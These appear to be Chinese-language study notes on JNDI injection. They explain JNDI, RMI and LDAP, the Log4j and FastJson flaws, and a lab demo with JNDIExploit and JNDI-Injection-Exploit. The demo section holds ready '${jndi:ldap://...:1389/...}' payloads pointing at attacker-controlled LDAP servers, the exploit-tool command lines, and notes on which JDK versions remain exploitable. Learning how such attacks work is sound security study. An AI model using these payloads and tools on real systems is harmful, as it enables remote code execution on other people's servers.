JNDI

img

介绍

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。

反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap。

RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

lookup():通过名字检索执行的对象

在RMI服务中调用了InitialContext.lookup()的类有:

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

  • InitialDirContext.lookup()
  • Spring LdapTemplate.lookup()
  • LdapTemplate.lookupContext()

RMI

RMI(Remote Method Invocation,远程方法调用)是一种用于在分布式系统中实现远程通信和方法调用的Java API。

RMI 允许在不同的 Java 虚拟机(JVM)上的对象之间进行通信和交互。通过 RMI,客户端可以调用远程服务器上的对象的方法,就像调用本地对象的方法一样。

RMI 的工作原理如下:

  1. 客户端通过命名服务(如 RMI Registry)查找到要调用的远程对象的引用。
  2. 客户端通过远程对象的引用进行远程方法的调用。
  3. 远程对象在服务器端接收到方法调用请求后执行相应的方法。
  4. 执行完方法后,远程对象将返回相应的结果给客户端。

需要注意的是,RMI 是基于 Java 的,并且只能在 Java 环境下使用。它依赖于 Java 的序列化机制来将对象转换为字节序列进行传输。

LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和操作分布式目录服务的协议。

LDAP 最初设计用于访问 X.500 目录服务,但随着时间的推移,它也被广泛应用于其他目录服务,如Microsoft Active Directory和OpenLDAP等。

目录服务是一种用于存储和组织大量结构化数据的数据库系统,通常用于存储用户、组织、网络资源等的信息。LDAP 提供了一种标准化的方式来查询、添加、修改和删除目录中的数据。

LDAP 的工作原理如下:

  1. 客户端通过 LDAP 协议与目录服务器建立连接。
  2. 客户端发送查询请求(如搜索、添加、修改等)到目录服务器。
  3. 目录服务器根据请求进行相应的操作,并将结果返回给客户端。
  4. 客户端接收并处理服务器返回的结果。

LDAP 使用基于文本的协议进行通信,通常在 TCP/IP 上运行,默认端口号为389。它采用层次化的数据结构(树状结构)来组织数据,每个节点都有一个唯一的标识符(DN,Distinguished Name)。

LDAP 提供了一些常用的操作,包括:

  1. 搜索(Search):根据特定的条件在目录中搜索数据。
  2. 添加(Add):向目录中添加新的数据项。
  3. 修改(Modify):修改目录中的数据项。
  4. 删除(Delete):从目录中删除数据项。

LDAP 还具有灵活的权限控制和身份认证机制,可以确保只有经过授权的用户能够访问和修改目录中的数据。

安全问题

经典的JNDI注入漏洞:

Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。

上下文注入:

  1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
  2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}

FastJson JNDI 注入漏洞(JSON )

  1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
  2. 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
  3. 远程代码执行:由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

JNDI注入教程:https://blog.csdn.net/ory001/article/details/121879748

JNDI注入工具

JNDIExploit-2.0-SNAPSHOT

E:\web\tools\ONE-FOX集成工具箱_V8公开版_by狐狸\gui_scan\jndi>java -jar JNDIExploit-2.0-SNAPSHOT.jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "notepad" -A 192.168.85.128
要执行的命令 服务器ip

img

复制生成的链接,构造 payload 如下,令 url 中 code 等于下值然后访问,即可成功执行命令。

${jndi:ldap://192.168.85.128:1389/hy5qgm}

img

marshalsec

工具相关问题

发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过)

img

LDAP - marshalsec工具

  • JDK 17
  • 11版本
  • 8u362
  • 8U112 都可以

RMI marshalsec工具

  • JDK 17版本 无法调用
  • 11版本无法调用
  • 8u362 无法执行
  • 8U112 可以

LDAP - jndi-inject工具

  • JDK 17版本 无法调用
  • 11版本无法调用
  • 8u362 无法执行
  • 8U112 可以

RMI jndi-inject工具

  • JDK 17版本 无法调用
  • 11版本无法调用
  • 8u362 无法执行
  • 8U112 可以